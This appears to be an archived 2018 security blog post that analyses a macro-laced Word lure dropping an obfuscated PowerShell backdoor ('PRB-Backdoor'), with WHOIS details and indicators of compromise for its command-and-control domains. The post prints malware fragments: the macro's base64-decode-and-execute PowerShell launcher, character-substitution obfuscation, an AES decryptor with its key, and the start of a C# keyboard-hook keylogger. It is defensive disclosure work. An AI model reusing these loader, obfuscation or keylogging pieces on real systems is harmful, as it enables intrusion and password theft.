PRB-Backdoor - A Fully Loaded PowerShell Backdoor with Evil
Intentions
By Mo Bustami
Published: 2018-05-12 · Archived: 2026-04-05 14:39:10 UTC
INTRODUCTION
The great people at ClearSky reached out to me a couple of days ago regarding a sample that they suspected could be related
to MuddyWater. 
They suspected so because the sample had some similarities with the way MuddyWater lures look like and some
similarities in some PowerShell obfuscation, in specific the character substitution routine.
MuddyWater Sample
New Sample
However, after analyzing the sample and investigating it more, I was able to showcase that this is indeed something different
but nonetheless interesting. This blog is a walk through my analysis and will highlight initial insights into this potential
attack.
THE SAMPLE - FROM AIRMILES TO MACRO CODE TO POWERSHELL
The sample that was shared with me is a macro laced word document called "Egyptairplus.doc" with an MD5 hash
of fdb4b4520034be269a65cfaee555c52e. The macro code contains a function called Worker() which calls multiple other
functions embedded in the document to ultimately run a PowerShell command:
"powershElL -EXEC bypASS -COmMaND "& {$pth='\Document1';$rt='';$Dt=geT-cOntEnt -patH $PTH -eNcoDInG
aSCIi;FOrEach($I in $DT){iF ($I.Length -Gt 7700){$rt='';$Dt=geT-cOntEnt -patH $PTH -eNcoDInG aSCIi;FOrEach($I
in $DT){iF ($I.Length -Gt 7700){$rt=$i.sPLIt('**')[2];BREak}};$rt=
[syStEm.TExT.eNCODing]::asCII.gEtsTrIng([sysTEm.ConverT]::FROmbaSe64sTriNG($rT));IEX($RT);
This command looks for a chunk of data that is embedded in the actual document and begins with "**" and then takes that
code and Base64 decodes it. The result is a PowerShell script that looks like this
function main
{
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$content="ZnVuY3Rpb24gejB3MnVQZVgoJHNLUHYpewogICAgJHNLUHYgPSAkc0tQdi5Ub0NoYXJBcnJheSgpCiAgICBbYXJyYXldOjpSZXZlcnNlKCR
...
...
...
... Truncated code...
2ZhbHNlIiwgMCkp"
    [string]$decode = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($content))
    iex $decode
}
main
Replacing iex with Write-Output and running this code will result in a second layer PowerShell script that is shown earlier in
the blog and has similarities with MuddyWater code due to the use of the Character Substitution functions. Below is a
snippet of the code:
function z0w2uPeX($sKPv){
    $sKPv = $sKPv.ToCharArray()
    [array]::Reverse($sKPv)
    $G8JdH = -join($sKPv)
    return $G8JdH
    }
function FQdZ7EqW($fpuD){
    $fpuD = $fpuD.Replace('#a#', "`n").Replace('#b#', '"').Replace('#c#', "'").Replace('#d#', "$").Replace('#e#', "``")
    return $fpuD
    }
iex(FQdZ7EqW("{4}{5}{6}{1}{2}{0}{3}" -f (z0w2uPeX("1 sd")),"Se","con","0","S","tart-Slee",(z0w2uPeX("- p")), 0))
iex(FQdZ7EqW("{2}{1}{5}{0}{4}{3}" -f (z0w2uPeX(" yeWs60")),(z0w2uPeX("ob")),"[","e",(z0w2uPeX("urT#d#
=")),"ol]#d#gS", 0))
Once you replace all the iex with Write-Output you will end up with more readable code as shown below
This code still contains encoded chunks of data. Two interesting pieces are Invoker.ps1 and js.hta
The Invoker.ps1 script is used to decrypt the main Backdoor code as shown below:
$nxUHOcAE = "0ef4b1acb4394766" #This is the Key used to Decrypt the main Backdoor code
$xWCWwEep = "{path}"
[string]$BJgVSQMa = Get-Content -Path $xWCWwEep -Force
$nl3hMTam = new-object system.security.cryptography.RijndaelManaged
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$nl3hMTam.Mode = [System.Security.Cryptography.CipherMode]::ECB
$nl3hMTam.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$nl3hMTam.BlockSize = 128
$nl3hMTam.KeySize = 128
$nl3hMTam.Key = [System.Text.Encoding]::UTF8.GetBytes($nxUHOcAE)
$W9NYYLlk = [System.Convert]::FromBase64String($BJgVSQMa)
$Oj5PebcQ = $nl3hMTam.CreateDecryptor();
$mL9fRirD = $Oj5PebcQ.TransformFinalBlock($W9NYYLlk, 0, $W9NYYLlk.Length);
[string]$Pru8pJC5 = [System.Text.Encoding]::UTF8.GetString($mL9fRirD).Trim('*')
Write-Output $Pru8pJC5 #I replaced iex with Write-Output
while($true){
start-sleep -seconds 3
}
When the encrypted Backdoor code is passed through this script it will be decrypted into the full fledged Backdoor code. I
am sharing a snippet of the code here as the full code of the backdoor is over 2000 lines of code when properly formatted.
Notice the main function name PRB hence the name I have given it "PRB-Backdoor"
POTENTIAL COMMAND & CONTROL
Running the sample in a sandbox did not show any network communication. However, during the analysis of the code I
noticed early on a variable with the value $hash.httpAddress ="http://outl00k[.]net" This looks like the main domain that the
backdoor communicates with for all of it's different functions.
Doing some Passive DNS and WHOIS lookup we can get additional information on the domain:
Domain Name: outl00k.net
Registrar WHOIS Server: whois.joker.com
Registrar URL: http://joker.com/
Updated Date: 2018-04-25T03:32:22Z
Creation Date: 2018-01-01T11:35:58Z
Registrant Name: Simon Nitoo
Registrant Street: Tehran
Registrant City: Tehran
Registrant State/Province: Tehran
Registrant Postal Code: 231423465
Registrant Country: IR
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Registrant Phone: +98.2189763584
Registrant Email: simon.nitoo@chmail.ir
Registry Admin ID:  
Admin Name: Simon Nitoo
Admin Street: Tehran
Admin City: Tehran
Admin State/Province: Tehran
Admin Postal Code: 231423465
Admin Country: IR
Admin Phone: +98.2189763584
Admin Email: simon.nitoo@chmail.ir
Registry Tech ID:  
Tech Name: Simon Nitoo
Tech Street: Tehran
Tech City: Tehran
Tech State/Province: Tehran
Tech Postal Code: 231423465
Tech Country: IR
Tech Phone: +98.2189763584
Tech Email: simon.nitoo@chmail.ir
Name Server: ns1.outl00k.net
Name Server: ns2.outl00k.net
The Registrant email address is also used for another domain LinLedin[.]net
Both domains are currently resolving to the following IP addresses
outl00k[.]net - 74.91.19[.]118 up until May 10, 2018
LinLedin[.]net - 5.160.124[.]99 on April 30, 2018
As of the writing of this blog, there doesn't seem to be much information about either of those domains. 
PRB-BACKDOOR FUNCTIONALITY - AN EARLY LOOK
I am yet to go through the whole code of the backdoor however below is an initial look into the functionality of it based on
initial analysis.
PRB Backdoor has the following functions:
PRB-CREATEALIVE and PRB-CREATEINTRODUCE - those two functions seem to be related to
initial communication and registration with the C&C
PRB-HISTORY is a function that looks to grab the browsing history from different browsers including Chrome, IE
and FireFox. It utilizes a sub function called GET-HISTORY
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PRB-PASSWORD
PRB-WRITEFILE
PRB-READFILE
PRB-FUNCTUPDATE
PRB-SHELL
PRB-LOGGER
SNAP - takes a screenshot of the screen
sysinfo - gets the system info
And many more functions.
At some point in the code there is even what seems to be .NET/C# code snippets
  $dsc = @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;
namespace dDumper
{
    public static class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSTEMKEYDOWN = 0x0104;
        private const int WM_KEYUP = 0x0101;
        private const int WM_SYSTEMKEYUP = 0x0105;
FINAL THOUGHTS
The PRB-Backdoor seems to be a very interesting piece of malware that is aimed to run on the victim machine and gather
information, steal passwords, log keystrokes and perform many other functions. I could not find any reference to the
backdoor or its code in any public source.
I would imagine there would be other lures and samples out there and hopefully other researchers that would be able to dive
deeper into the code and reveal additional details. I will do so as soon as I have additional time but I thought it would be
beneficial to share these initial findings in hope to shed some light into this activity.
INDICATORS OF COMPROMISE
fdb4b4520034be269a65cfaee555c52e
outl00k[.]net
LinLedin[.]net
74.91.19[.]118
5.160.124[.]99
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Source: https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html
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